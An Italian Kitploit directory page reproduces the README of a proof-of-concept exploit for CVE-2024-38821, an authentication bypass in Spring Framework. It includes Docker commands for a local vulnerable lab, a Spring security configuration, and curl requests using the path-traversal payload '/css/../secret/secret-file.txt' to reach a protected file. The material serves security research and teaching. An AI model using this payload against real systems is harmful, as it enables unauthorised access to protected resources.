Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-38821-POC — Exploit proof-of-concept per CVE-2024-38821, che dimostra il bypass dell'autenticazione in Spring Framework tramite path traversal per accedere a risorse riservate. | Kitploit
Strumenti/GitHubGitHub/masa42/cve-2024-38821-poc
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

Exploit proof-of-concept per CVE-2024-38821, che dimostra il bypass dell'autenticazione in Spring Framework tramite path traversal per accedere a risorse riservate.

Vedi Repository
1241 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-38821: Proof of Concept (PoC): Bypass dell'autenticazione in Spring Framework

Questa è una proof of concept per la vulnerabilità CVE-2024-38821

Passaggi di esecuzione

  1. Costruisci l'immagine Docker (Spring Boot 3.3.4, basato su Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. Avvia il container ed esponi la porta 8080 alla macchina host

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. Esegui il seguente comando per eseguire il PoC e confermare la vulnerabilità

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
    

    Se l'attacco ha successo, la risposta mostrerà: This is a secret file.

Spiegazione

  1. Crea SecurityConfig.java per configurare i permessi di accesso:

    • Consenti accesso non autenticato ai percorsi sotto /css/.
    • Richiedi autenticazione per i percorsi sotto /secret/.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
                .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
                .anyExchange().authenticated() // Authentication is required for all other paths
            )
            .formLogin().and() // Enable form-based authentication
            .build();
    }
    
  2. Crea il seguente payload. Poiché il payload inizia con /css/, corrisponde al pattern di percorso consentito. Non inizia con /secret/, quindi non corrisponde al pattern di percorso che richiede autenticazione:

    • Percorso: /css/../secret/secret-file.txt
  3. Usa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:

    root@kitploit:~
    # Note: The --path-as-is option is required to send the request without URL normalization.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

Esclusione di responsabilità

Questo PoC è fornito a scopo educativo e di ricerca sulla sicurezza. Prima di utilizzarlo su un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la dovuta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.

Scarica lo strumento

Se l'attacco ha successo, la risposta mostrerà: This is a secret file.